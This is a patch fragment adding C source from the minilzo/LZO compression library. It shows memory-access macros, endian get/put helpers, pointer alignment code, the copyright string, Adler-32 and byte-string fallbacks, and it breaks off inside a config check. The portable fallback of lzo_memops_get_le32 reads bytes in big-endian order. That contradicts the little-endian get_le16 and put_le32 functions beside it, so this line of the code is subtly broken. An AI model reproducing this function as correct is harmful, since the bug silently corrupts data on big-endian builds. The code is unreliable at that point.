__lzo_may_alias; +typedef struct lzo_memops_TU2_struct lzo_memops_TU2; +#endif +#ifndef lzo_memops_TU2p +#define lzo_memops_TU2p lzo_memops_TU2 * +#endif +#endif +#ifndef lzo_memops_TU4p +#if (LZO_OPT_UNALIGNED32) +typedef lzo_uint32_t __lzo_may_alias lzo_memops_TU4; +#define lzo_memops_TU4p volatile lzo_memops_TU4 __LZO_MMODEL * +#elif defined(__lzo_byte_struct) +__lzo_byte_struct(lzo_memops_TU4_struct,4) +typedef struct lzo_memops_TU4_struct lzo_memops_TU4; +#else +struct lzo_memops_TU4_struct { unsigned char a[4]; } __lzo_may_alias; +typedef struct lzo_memops_TU4_struct lzo_memops_TU4; +#endif +#ifndef lzo_memops_TU4p +#define lzo_memops_TU4p lzo_memops_TU4 __LZO_MMODEL * +#endif +#endif +#ifndef lzo_memops_TU8p +#if (LZO_OPT_UNALIGNED64) +typedef lzo_uint64_t __lzo_may_alias lzo_memops_TU8; +#define lzo_memops_TU8p volatile lzo_memops_TU8 __LZO_MMODEL * +#elif defined(__lzo_byte_struct) +__lzo_byte_struct(lzo_memops_TU8_struct,8) +typedef struct lzo_memops_TU8_struct lzo_memops_TU8; +#else +struct lzo_memops_TU8_struct { unsigned char a[8]; } __lzo_may_alias; +typedef struct lzo_memops_TU8_struct lzo_memops_TU8; +#endif +#ifndef lzo_memops_TU8p +#define lzo_memops_TU8p lzo_memops_TU8 __LZO_MMODEL * +#endif +#endif +#ifndef lzo_memops_set_TU1p +#define lzo_memops_set_TU1p volatile lzo_memops_TU1p +#endif +#ifndef lzo_memops_move_TU1p +#define lzo_memops_move_TU1p lzo_memops_TU1p +#endif +#define LZO_MEMOPS_SET1(dd,cc) \ + LZO_BLOCK_BEGIN \ + lzo_memops_set_TU1p d__1 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \ + d__1[0] = LZO_BYTE(cc); \ + LZO_BLOCK_END +#define LZO_MEMOPS_SET2(dd,cc) \ + LZO_BLOCK_BEGIN \ + lzo_memops_set_TU1p d__2 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \ + d__2[0] = LZO_BYTE(cc); d__2[1] = LZO_BYTE(cc); \ + LZO_BLOCK_END +#define LZO_MEMOPS_SET3(dd,cc) \ + LZO_BLOCK_BEGIN \ + lzo_memops_set_TU1p d__3 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \ + d__3[0] = LZO_BYTE(cc); d__3[1] = LZO_BYTE(cc); d__3[2] = LZO_BYTE(cc); \ + LZO_BLOCK_END +#define LZO_MEMOPS_SET4(dd,cc) \ + LZO_BLOCK_BEGIN \ + lzo_memops_set_TU1p d__4 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \ + d__4[0] = LZO_BYTE(cc); d__4[1] = LZO_BYTE(cc); d__4[2] = LZO_BYTE(cc); d__4[3] = LZO_BYTE(cc); \ + LZO_BLOCK_END +#define LZO_MEMOPS_MOVE1(dd,ss) \ + LZO_BLOCK_BEGIN \ + lzo_memops_move_TU1p d__1 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \ + const lzo_memops_move_TU1p s__1 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \ + d__1[0] = s__1[0]; \ + LZO_BLOCK_END +#define LZO_MEMOPS_MOVE2(dd,ss) \ + LZO_BLOCK_BEGIN \ + lzo_memops_move_TU1p d__2 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \ + const lzo_memops_move_TU1p s__2 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \ + d__2[0] = s__2[0]; d__2[1] = s__2[1]; \ + LZO_BLOCK_END +#define LZO_MEMOPS_MOVE3(dd,ss) \ + LZO_BLOCK_BEGIN \ + lzo_memops_move_TU1p d__3 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \ + const lzo_memops_move_TU1p s__3 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \ + d__3[0] = s__3[0]; d__3[1] = s__3[1]; d__3[2] = s__3[2]; \ + LZO_BLOCK_END +#define LZO_MEMOPS_MOVE4(dd,ss) \ + LZO_BLOCK_BEGIN \ + lzo_memops_move_TU1p d__4 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \ + const lzo_memops_move_TU1p s__4 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \ + d__4[0] = s__4[0]; d__4[1] = s__4[1]; d__4[2] = s__4[2]; d__4[3] = s__4[3]; \ + LZO_BLOCK_END +#define LZO_MEMOPS_MOVE8(dd,ss) \ + LZO_BLOCK_BEGIN \ + lzo_memops_move_TU1p d__8 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \ + const lzo_memops_move_TU1p s__8 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \ + d__8[0] = s__8[0]; d__8[1] = s__8[1]; d__8[2] = s__8[2]; d__8[3] = s__8[3]; \ + d__8[4] = s__8[4]; d__8[5] = s__8[5]; d__8[6] = s__8[6]; d__8[7] = s__8[7]; \ + LZO_BLOCK_END +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU1p)0)==1) +#define LZO_MEMOPS_COPY1(dd,ss) LZO_MEMOPS_MOVE1(dd,ss) +#if (LZO_OPT_UNALIGNED16) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU2p)0)==2) +#define LZO_MEMOPS_COPY2(dd,ss) \ + * (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss) +#elif defined(__lzo_memops_tcheck) +#define LZO_MEMOPS_COPY2(dd,ss) \ + LZO_BLOCK_BEGIN if (__lzo_memops_tcheck(lzo_memops_TU2,2,1)) { \ + * (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss); \ + } else { LZO_MEMOPS_MOVE2(dd,ss); } LZO_BLOCK_END +#else +#define LZO_MEMOPS_COPY2(dd,ss) LZO_MEMOPS_MOVE2(dd,ss) +#endif +#if (LZO_OPT_UNALIGNED32) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU4p)0)==4) +#define LZO_MEMOPS_COPY4(dd,ss) \ + * (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss) +#elif defined(__lzo_memops_tcheck) +#define LZO_MEMOPS_COPY4(dd,ss) \ + LZO_BLOCK_BEGIN if (__lzo_memops_tcheck(lzo_memops_TU4,4,1)) { \ + * (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss); \ + } else { LZO_MEMOPS_MOVE4(dd,ss); } LZO_BLOCK_END +#else +#define LZO_MEMOPS_COPY4(dd,ss) LZO_MEMOPS_MOVE4(dd,ss) +#endif +#if (LZO_WORDSIZE != 8) +#define LZO_MEMOPS_COPY8(dd,ss) \ + LZO_BLOCK_BEGIN LZO_MEMOPS_COPY4(dd,ss); LZO_MEMOPS_COPY4((lzo_memops_TU1p)(lzo_memops_TU0p)(dd)+4,(const lzo_memops_TU1p)(const lzo_memops_TU0p)(ss)+4); LZO_BLOCK_END +#else +#if (LZO_OPT_UNALIGNED64) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU8p)0)==8) +#define LZO_MEMOPS_COPY8(dd,ss) \ + * (lzo_memops_TU8p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss) +#elif (LZO_OPT_UNALIGNED32) +#define LZO_MEMOPS_COPY8(dd,ss) \ + LZO_BLOCK_BEGIN LZO_MEMOPS_COPY4(dd,ss); LZO_MEMOPS_COPY4((lzo_memops_TU1p)(lzo_memops_TU0p)(dd)+4,(const lzo_memops_TU1p)(const lzo_memops_TU0p)(ss)+4); LZO_BLOCK_END +#elif defined(__lzo_memops_tcheck) +#define LZO_MEMOPS_COPY8(dd,ss) \ + LZO_BLOCK_BEGIN if (__lzo_memops_tcheck(lzo_memops_TU8,8,1)) { \ + * (lzo_memops_TU8p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss); \ + } else { LZO_MEMOPS_MOVE8(dd,ss); } LZO_BLOCK_END +#else +#define LZO_MEMOPS_COPY8(dd,ss) LZO_MEMOPS_MOVE8(dd,ss) +#endif +#endif +#define LZO_MEMOPS_COPYN(dd,ss,nn) \ + LZO_BLOCK_BEGIN \ + lzo_memops_TU1p d__n = (lzo_memops_TU1p) (lzo_memops_TU0p) (dd); \ + const lzo_memops_TU1p s__n = (const lzo_memops_TU1p) (const lzo_memops_TU0p) (ss); \ + lzo_uint n__n = (nn); \ + while ((void)0, n__n >= 8) { LZO_MEMOPS_COPY8(d__n, s__n); d__n += 8; s__n += 8; n__n -= 8; } \ + if ((void)0, n__n >= 4) { LZO_MEMOPS_COPY4(d__n, s__n); d__n += 4; s__n += 4; n__n -= 4; } \ + if ((void)0, n__n > 0) do { *d__n++ = *s__n++; } while (--n__n > 0); \ + LZO_BLOCK_END + +__lzo_static_forceinline lzo_uint16_t lzo_memops_get_le16(const lzo_voidp ss) +{ + lzo_uint16_t v; +#if (LZO_ABI_LITTLE_ENDIAN) + LZO_MEMOPS_COPY2(&v, ss); +#elif (LZO_OPT_UNALIGNED16 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC) + const lzo_memops_TU2p s = (const lzo_memops_TU2p) ss; + unsigned long vv; + __asm__("lhbrx %0,0,%1" : "=r" (vv) : "r" (s), "m" (*s)); + v = (lzo_uint16_t) vv; +#else + const lzo_memops_TU1p s = (const lzo_memops_TU1p) ss; + v = (lzo_uint16_t) (((lzo_uint16_t)s[0]) | ((lzo_uint16_t)s[1] << 8)); +#endif + return v; +} +#if (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) +#define LZO_MEMOPS_GET_LE16(ss) * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss) +#else +#define LZO_MEMOPS_GET_LE16(ss) lzo_memops_get_le16(ss) +#endif + +__lzo_static_forceinline lzo_uint32_t lzo_memops_get_le32(const lzo_voidp ss) +{ + lzo_uint32_t v; +#if (LZO_ABI_LITTLE_ENDIAN) + LZO_MEMOPS_COPY4(&v, ss); +#elif (LZO_OPT_UNALIGNED32 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC) + const lzo_memops_TU4p s = (const lzo_memops_TU4p) ss; + unsigned long vv; + __asm__("lwbrx %0,0,%1" : "=r" (vv) : "r" (s), "m" (*s)); + v = (lzo_uint32_t) vv; +#else + const lzo_memops_TU1p s = (const lzo_memops_TU1p) ss; + v = (lzo_uint32_t) (((lzo_uint32_t)s[0] << 24) | ((lzo_uint32_t)s[1] << 16) | ((lzo_uint32_t)s[2] << 8) | ((lzo_uint32_t)s[3])); +#endif + return v; +} +#if (LZO_OPT_UNALIGNED32) && (LZO_ABI_LITTLE_ENDIAN) +#define LZO_MEMOPS_GET_LE32(ss) * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss) +#else +#define LZO_MEMOPS_GET_LE32(ss) lzo_memops_get_le32(ss) +#endif + +#if (LZO_OPT_UNALIGNED64) && (LZO_ABI_LITTLE_ENDIAN) +#define LZO_MEMOPS_GET_LE64(ss) * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss) +#endif + +__lzo_static_forceinline lzo_uint16_t lzo_memops_get_ne16(const lzo_voidp ss) +{ + lzo_uint16_t v; + LZO_MEMOPS_COPY2(&v, ss); + return v; +} +#if (LZO_OPT_UNALIGNED16) +#define LZO_MEMOPS_GET_NE16(ss) * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss) +#else +#define LZO_MEMOPS_GET_NE16(ss) lzo_memops_get_ne16(ss) +#endif + +__lzo_static_forceinline lzo_uint32_t lzo_memops_get_ne32(const lzo_voidp ss) +{ + lzo_uint32_t v; + LZO_MEMOPS_COPY4(&v, ss); + return v; +} +#if (LZO_OPT_UNALIGNED32) +#define LZO_MEMOPS_GET_NE32(ss) * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss) +#else +#define LZO_MEMOPS_GET_NE32(ss) lzo_memops_get_ne32(ss) +#endif + +#if (LZO_OPT_UNALIGNED64) +#define LZO_MEMOPS_GET_NE64(ss) * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss) +#endif + +__lzo_static_forceinline void lzo_memops_put_le16(lzo_voidp dd, lzo_uint16_t vv) +{ +#if (LZO_ABI_LITTLE_ENDIAN) + LZO_MEMOPS_COPY2(dd, &vv); +#elif (LZO_OPT_UNALIGNED16 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC) + lzo_memops_TU2p d = (lzo_memops_TU2p) dd; + unsigned long v = vv; + __asm__("sthbrx %2,0,%1" : "=m" (*d) : "r" (d), "r" (v)); +#else + lzo_memops_TU1p d = (lzo_memops_TU1p) dd; + d[0] = LZO_BYTE((vv ) & 0xff); + d[1] = LZO_BYTE((vv >> 8) & 0xff); +#endif +} +#if (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) +#define LZO_MEMOPS_PUT_LE16(dd,vv) (* (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = (vv)) +#else +#define LZO_MEMOPS_PUT_LE16(dd,vv) lzo_memops_put_le16(dd,vv) +#endif + +__lzo_static_forceinline void lzo_memops_put_le32(lzo_voidp dd, lzo_uint32_t vv) +{ +#if (LZO_ABI_LITTLE_ENDIAN) + LZO_MEMOPS_COPY4(dd, &vv); +#elif (LZO_OPT_UNALIGNED32 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC) + lzo_memops_TU4p d = (lzo_memops_TU4p) dd; + unsigned long v = vv; + __asm__("stwbrx %2,0,%1" : "=m" (*d) : "r" (d), "r" (v)); +#else + lzo_memops_TU1p d = (lzo_memops_TU1p) dd; + d[0] = LZO_BYTE((vv ) & 0xff); + d[1] = LZO_BYTE((vv >> 8) & 0xff); + d[2] = LZO_BYTE((vv >> 16) & 0xff); + d[3] = LZO_BYTE((vv >> 24) & 0xff); +#endif +} +#if (LZO_OPT_UNALIGNED32) && (LZO_ABI_LITTLE_ENDIAN) +#define LZO_MEMOPS_PUT_LE32(dd,vv) (* (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = (vv)) +#else +#define LZO_MEMOPS_PUT_LE32(dd,vv) lzo_memops_put_le32(dd,vv) +#endif + +__lzo_static_forceinline void lzo_memops_put_ne16(lzo_voidp dd, lzo_uint16_t vv) +{ + LZO_MEMOPS_COPY2(dd, &vv); +} +#if (LZO_OPT_UNALIGNED16) +#define LZO_MEMOPS_PUT_NE16(dd,vv) (* (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = (vv)) +#else +#define LZO_MEMOPS_PUT_NE16(dd,vv) lzo_memops_put_ne16(dd,vv) +#endif + +__lzo_static_forceinline void lzo_memops_put_ne32(lzo_voidp dd, lzo_uint32_t vv) +{ + LZO_MEMOPS_COPY4(dd, &vv); +} +#if (LZO_OPT_UNALIGNED32) +#define LZO_MEMOPS_PUT_NE32(dd,vv) (* (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = (vv)) +#else +#define LZO_MEMOPS_PUT_NE32(dd,vv) lzo_memops_put_ne32(dd,vv) +#endif + +#if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) +static void __attribute__((__unused__)) +#else +__lzo_static_forceinline void +#endif +lzo_memops_unused_funcs(void) +{ + LZO_UNUSED_FUNC(lzo_memops_get_le16); + LZO_UNUSED_FUNC(lzo_memops_get_le32); + LZO_UNUSED_FUNC(lzo_memops_get_ne16); + LZO_UNUSED_FUNC(lzo_memops_get_ne32); + LZO_UNUSED_FUNC(lzo_memops_put_le16); + LZO_UNUSED_FUNC(lzo_memops_put_le32); + LZO_UNUSED_FUNC(lzo_memops_put_ne16); + LZO_UNUSED_FUNC(lzo_memops_put_ne32); + LZO_UNUSED_FUNC(lzo_memops_unused_funcs); +} + +#endif + +#ifndef UA_SET1 +#define UA_SET1 LZO_MEMOPS_SET1 +#endif +#ifndef UA_SET2 +#define UA_SET2 LZO_MEMOPS_SET2 +#endif +#ifndef UA_SET3 +#define UA_SET3 LZO_MEMOPS_SET3 +#endif +#ifndef UA_SET4 +#define UA_SET4 LZO_MEMOPS_SET4 +#endif +#ifndef UA_MOVE1 +#define UA_MOVE1 LZO_MEMOPS_MOVE1 +#endif +#ifndef UA_MOVE2 +#define UA_MOVE2 LZO_MEMOPS_MOVE2 +#endif +#ifndef UA_MOVE3 +#define UA_MOVE3 LZO_MEMOPS_MOVE3 +#endif +#ifndef UA_MOVE4 +#define UA_MOVE4 LZO_MEMOPS_MOVE4 +#endif +#ifndef UA_MOVE8 +#define UA_MOVE8 LZO_MEMOPS_MOVE8 +#endif +#ifndef UA_COPY1 +#define UA_COPY1 LZO_MEMOPS_COPY1 +#endif +#ifndef UA_COPY2 +#define UA_COPY2 LZO_MEMOPS_COPY2 +#endif +#ifndef UA_COPY3 +#define UA_COPY3 LZO_MEMOPS_COPY3 +#endif +#ifndef UA_COPY4 +#define UA_COPY4 LZO_MEMOPS_COPY4 +#endif +#ifndef UA_COPY8 +#define UA_COPY8 LZO_MEMOPS_COPY8 +#endif +#ifndef UA_COPYN +#define UA_COPYN LZO_MEMOPS_COPYN +#endif +#ifndef UA_COPYN_X +#define UA_COPYN_X LZO_MEMOPS_COPYN +#endif +#ifndef UA_GET_LE16 +#define UA_GET_LE16 LZO_MEMOPS_GET_LE16 +#endif +#ifndef UA_GET_LE32 +#define UA_GET_LE32 LZO_MEMOPS_GET_LE32 +#endif +#ifdef LZO_MEMOPS_GET_LE64 +#ifndef UA_GET_LE64 +#define UA_GET_LE64 LZO_MEMOPS_GET_LE64 +#endif +#endif +#ifndef UA_GET_NE16 +#define UA_GET_NE16 LZO_MEMOPS_GET_NE16 +#endif +#ifndef UA_GET_NE32 +#define UA_GET_NE32 LZO_MEMOPS_GET_NE32 +#endif +#ifdef LZO_MEMOPS_GET_NE64 +#ifndef UA_GET_NE64 +#define UA_GET_NE64 LZO_MEMOPS_GET_NE64 +#endif +#endif +#ifndef UA_PUT_LE16 +#define UA_PUT_LE16 LZO_MEMOPS_PUT_LE16 +#endif +#ifndef UA_PUT_LE32 +#define UA_PUT_LE32 LZO_MEMOPS_PUT_LE32 +#endif +#ifndef UA_PUT_NE16 +#define UA_PUT_NE16 LZO_MEMOPS_PUT_NE16 +#endif +#ifndef UA_PUT_NE32 +#define UA_PUT_NE32 LZO_MEMOPS_PUT_NE32 +#endif + +#define MEMCPY8_DS(dest,src,len) \ + lzo_memcpy(dest,src,len); dest += len; src += len + +#define BZERO8_PTR(s,l,n) \ + lzo_memset((lzo_voidp)(s),0,(lzo_uint)(l)*(n)) + +#define MEMCPY_DS(dest,src,len) \ + do *dest++ = *src++; while (--len > 0) + +LZO_EXTERN(const lzo_bytep) lzo_copyright(void); + +#ifndef __LZO_PTR_H +#define __LZO_PTR_H 1 + +#ifdef __cplusplus +extern "C" { +#endif + +#if (LZO_ARCH_I086) +#error "LZO_ARCH_I086 is unsupported" +#elif (LZO_MM_PVP) +#error "LZO_MM_PVP is unsupported" +#else +#define PTR(a) ((lzo_uintptr_t) (a)) +#define PTR_LINEAR(a) PTR(a) +#define PTR_ALIGNED_4(a) ((PTR_LINEAR(a) & 3) == 0) +#define PTR_ALIGNED_8(a) ((PTR_LINEAR(a) & 7) == 0) +#define PTR_ALIGNED2_4(a,b) (((PTR_LINEAR(a) | PTR_LINEAR(b)) & 3) == 0) +#define PTR_ALIGNED2_8(a,b) (((PTR_LINEAR(a) | PTR_LINEAR(b)) & 7) == 0) +#endif + +#define PTR_LT(a,b) (PTR(a) < PTR(b)) +#define PTR_GE(a,b) (PTR(a) >= PTR(b)) +#define PTR_DIFF(a,b) (PTR(a) - PTR(b)) +#define pd(a,b) ((lzo_uint) ((a)-(b))) + +LZO_EXTERN(lzo_uintptr_t) +__lzo_ptr_linear(const lzo_voidp ptr); + +typedef union +{ + char a_char; + unsigned char a_uchar; + short a_short; + unsigned short a_ushort; + int a_int; + unsigned int a_uint; + long a_long; + unsigned long a_ulong; + lzo_int a_lzo_int; + lzo_uint a_lzo_uint; + lzo_xint a_lzo_xint; + lzo_int16_t a_lzo_int16_t; + lzo_uint16_t a_lzo_uint16_t; + lzo_int32_t a_lzo_int32_t; + lzo_uint32_t a_lzo_uint32_t; +#if defined(lzo_uint64_t) + lzo_int64_t a_lzo_int64_t; + lzo_uint64_t a_lzo_uint64_t; +#endif + size_t a_size_t; + ptrdiff_t a_ptrdiff_t; + lzo_uintptr_t a_lzo_uintptr_t; + void * a_void_p; + char * a_char_p; + unsigned char * a_uchar_p; + const void * a_c_void_p; + const char * a_c_char_p; + const unsigned char * a_c_uchar_p; + lzo_voidp a_lzo_voidp; + lzo_bytep a_lzo_bytep; + const lzo_voidp a_c_lzo_voidp; + const lzo_bytep a_c_lzo_bytep; +} +lzo_full_align_t; + +#ifdef __cplusplus +} +#endif + +#endif + +#ifndef LZO_DETERMINISTIC +#define LZO_DETERMINISTIC 1 +#endif + +#ifndef LZO_DICT_USE_PTR +#define LZO_DICT_USE_PTR 1 +#endif + +#if (LZO_DICT_USE_PTR) +# define lzo_dict_t const lzo_bytep +# define lzo_dict_p lzo_dict_t * +#else +# define lzo_dict_t lzo_uint +# define lzo_dict_p lzo_dict_t * +#endif + +#endif + +#if !defined(MINILZO_CFG_SKIP_LZO_PTR) + +LZO_PUBLIC(lzo_uintptr_t) +__lzo_ptr_linear(const lzo_voidp ptr) +{ + lzo_uintptr_t p; + +#if (LZO_ARCH_I086) +#error "LZO_ARCH_I086 is unsupported" +#elif (LZO_MM_PVP) +#error "LZO_MM_PVP is unsupported" +#else + p = (lzo_uintptr_t) PTR_LINEAR(ptr); +#endif + + return p; +} + +LZO_PUBLIC(unsigned) +__lzo_align_gap(const lzo_voidp ptr, lzo_uint size) +{ +#if (__LZO_UINTPTR_T_IS_POINTER) +#error "__LZO_UINTPTR_T_IS_POINTER is unsupported" +#else + lzo_uintptr_t p, n; + p = __lzo_ptr_linear(ptr); + n = (((p + size - 1) / size) * size) - p; +#endif + + assert(size > 0); + assert((long)n >= 0); + assert(n <= size); + return (unsigned)n; +} + +#endif +#if !defined(MINILZO_CFG_SKIP_LZO_UTIL) + +/* If you use the LZO library in a product, I would appreciate that you + * keep this copyright string in the executable of your product. + */ + +static const char __lzo_copyright[] = +#if !defined(__LZO_IN_MINLZO) + LZO_VERSION_STRING; +#else + "\r\n\n" + "LZO data compression library.\n" + "$Copyright: LZO Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer\n" + "\n" + "http://www.oberhumer.com $\n\n" + "$Id: LZO version: v" LZO_VERSION_STRING ", " LZO_VERSION_DATE " $\n" + "$Info: " LZO_INFO_STRING " $\n"; +#endif + +LZO_PUBLIC(const lzo_bytep) +lzo_copyright(void) +{ + return (const lzo_bytep) __lzo_copyright; +} + +LZO_PUBLIC(unsigned) +lzo_version(void) +{ + return LZO_VERSION; +} + +LZO_PUBLIC(const char *) +lzo_version_string(void) +{ + return LZO_VERSION_STRING; +} + +LZO_PUBLIC(const char *) +lzo_version_date(void) +{ + return LZO_VERSION_DATE; +} + +LZO_PUBLIC(const lzo_charp) +_lzo_version_string(void) +{ + return LZO_VERSION_STRING; +} + +LZO_PUBLIC(const lzo_charp) +_lzo_version_date(void) +{ + return LZO_VERSION_DATE; +} + +#define LZO_BASE 65521u +#define LZO_NMAX 5552 + +#define LZO_DO1(buf,i) s1 += buf[i]; s2 += s1 +#define LZO_DO2(buf,i) LZO_DO1(buf,i); LZO_DO1(buf,i+1); +#define LZO_DO4(buf,i) LZO_DO2(buf,i); LZO_DO2(buf,i+2); +#define LZO_DO8(buf,i) LZO_DO4(buf,i); LZO_DO4(buf,i+4); +#define LZO_DO16(buf,i) LZO_DO8(buf,i); LZO_DO8(buf,i+8); + +LZO_PUBLIC(lzo_uint32_t) +lzo_adler32(lzo_uint32_t adler, const lzo_bytep buf, lzo_uint len) +{ + lzo_uint32_t s1 = adler & 0xffff; + lzo_uint32_t s2 = (adler >> 16) & 0xffff; + unsigned k; + + if (buf == NULL) + return 1; + + while (len > 0) + { + k = len < LZO_NMAX ? (unsigned) len : LZO_NMAX; + len -= k; + if (k >= 16) do + { + LZO_DO16(buf,0); + buf += 16; + k -= 16; + } while (k >= 16); + if (k != 0) do + { + s1 += *buf++; + s2 += s1; + } while (--k > 0); + s1 %= LZO_BASE; + s2 %= LZO_BASE; + } + return (s2 << 16) | s1; +} + +#undef LZO_DO1 +#undef LZO_DO2 +#undef LZO_DO4 +#undef LZO_DO8 +#undef LZO_DO16 + +#endif +#if !defined(MINILZO_CFG_SKIP_LZO_STRING) +#undef lzo_memcmp +#undef lzo_memcpy +#undef lzo_memmove +#undef lzo_memset +#if !defined(__LZO_MMODEL_HUGE) +# undef LZO_HAVE_MM_HUGE_PTR +#endif +#define lzo_hsize_t lzo_uint +#define lzo_hvoid_p lzo_voidp +#define lzo_hbyte_p lzo_bytep +#define LZOLIB_PUBLIC(r,f) LZO_PUBLIC(r) f +#define lzo_hmemcmp lzo_memcmp +#define lzo_hmemcpy lzo_memcpy +#define lzo_hmemmove lzo_memmove +#define lzo_hmemset lzo_memset +#define __LZOLIB_HMEMCPY_CH_INCLUDED 1 +#if !defined(LZOLIB_PUBLIC) +# define LZOLIB_PUBLIC(r,f) r __LZOLIB_FUNCNAME(f) +#endif +LZOLIB_PUBLIC(int, lzo_hmemcmp) (const lzo_hvoid_p s1, const lzo_hvoid_p s2, lzo_hsize_t len) +{ +#if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMCMP) + const lzo_hbyte_p p1 = LZO_STATIC_CAST(const lzo_hbyte_p, s1); + const lzo_hbyte_p p2 = LZO_STATIC_CAST(const lzo_hbyte_p, s2); + if __lzo_likely(len > 0) do + { + int d = *p1 - *p2; + if (d != 0) + return d; + p1++; p2++; + } while __lzo_likely(--len > 0); + return 0; +#else + return memcmp(s1, s2, len); +#endif +} +LZOLIB_PUBLIC(lzo_hvoid_p, lzo_hmemcpy) (lzo_hvoid_p dest, const lzo_hvoid_p src, lzo_hsize_t len) +{ +#if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMCPY) + lzo_hbyte_p p1 = LZO_STATIC_CAST(lzo_hbyte_p, dest); + const lzo_hbyte_p p2 = LZO_STATIC_CAST(const lzo_hbyte_p, src); + if (!(len > 0) || p1 == p2) + return dest; + do + *p1++ = *p2++; + while __lzo_likely(--len > 0); + return dest; +#else + return memcpy(dest, src, len); +#endif +} +LZOLIB_PUBLIC(lzo_hvoid_p, lzo_hmemmove) (lzo_hvoid_p dest, const lzo_hvoid_p src, lzo_hsize_t len) +{ +#if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMMOVE) + lzo_hbyte_p p1 = LZO_STATIC_CAST(lzo_hbyte_p, dest); + const lzo_hbyte_p p2 = LZO_STATIC_CAST(const lzo_hbyte_p, src); + if (!(len > 0) || p1 == p2) + return dest; + if (p1 < p2) + { + do + *p1++ = *p2++; + while __lzo_likely(--len > 0); + } + else + { + p1 += len; + p2 += len; + do + *--p1 = *--p2; + while __lzo_likely(--len > 0); + } + return dest; +#else + return memmove(dest, src, len); +#endif +} +LZOLIB_PUBLIC(lzo_hvoid_p, lzo_hmemset) (lzo_hvoid_p s, int cc, lzo_hsize_t len) +{ +#if (LZO_HAVE_MM_HUGE_PTR) || !(HAVE_MEMSET) + lzo_hbyte_p p = LZO_STATIC_CAST(lzo_hbyte_p, s); + unsigned char c = LZO_ITRUNC(unsigned char, cc); + if __lzo_likely(len > 0) do + *p++ = c; + while __lzo_likely(--len > 0); + return s; +#else + return memset(s, cc, len); +#endif +} +#undef LZOLIB_PUBLIC +#endif +#if !defined(MINILZO_CFG_SKIP_LZO_INIT) + +#if !defined(__LZO_IN_MINILZO) + +#define LZO_WANT_ACC_CHK_CH 1 +#undef LZOCHK_ASSERT + + LZOCHK_ASSERT((LZO_UINT32_C(1) << (int)(8*sizeof(LZO_UINT32_C(1))-1)) > 0) + LZOCHK_ASSERT_IS_SIGNED_T(lzo_int) + LZOCHK_ASSERT_IS_UNSIGNED_T(lzo_uint) +#if !(__LZO_UINTPTR_T_IS_POINTER) + LZOCHK_ASSERT_IS_UNSIGNED_T(lzo_uintptr_t) +#endif + LZOCHK_ASSERT(sizeof(lzo_uintptr_t) >= sizeof(lzo_voidp)) + LZOCHK_ASSERT_IS_UNSIGNED_T(lzo_xint) + +#endif +#undef LZOCHK_ASSERT + +union lzo_config_check_union { + lzo_uint a[2]; + unsigned char b[2*LZO_MAX(8,sizeof(lzo_uint))]; +#if defined(lzo_uint64_t) + lzo_uint64_t c[2]; +#endif +}; + +#if 0 +#define u2p(ptr,off) ((lzo_voidp) (((lzo_bytep)(lzo_voidp)(ptr)) + (off))) +#else +static __lzo_noinline lzo_voidp u2p(lzo_voidp ptr, lzo_uint off) +{ + return (lzo_voidp) ((lzo_bytep) ptr + off); +} +#endif + +LZO_PUBLIC(int) +_lzo_config_check(void) +{ 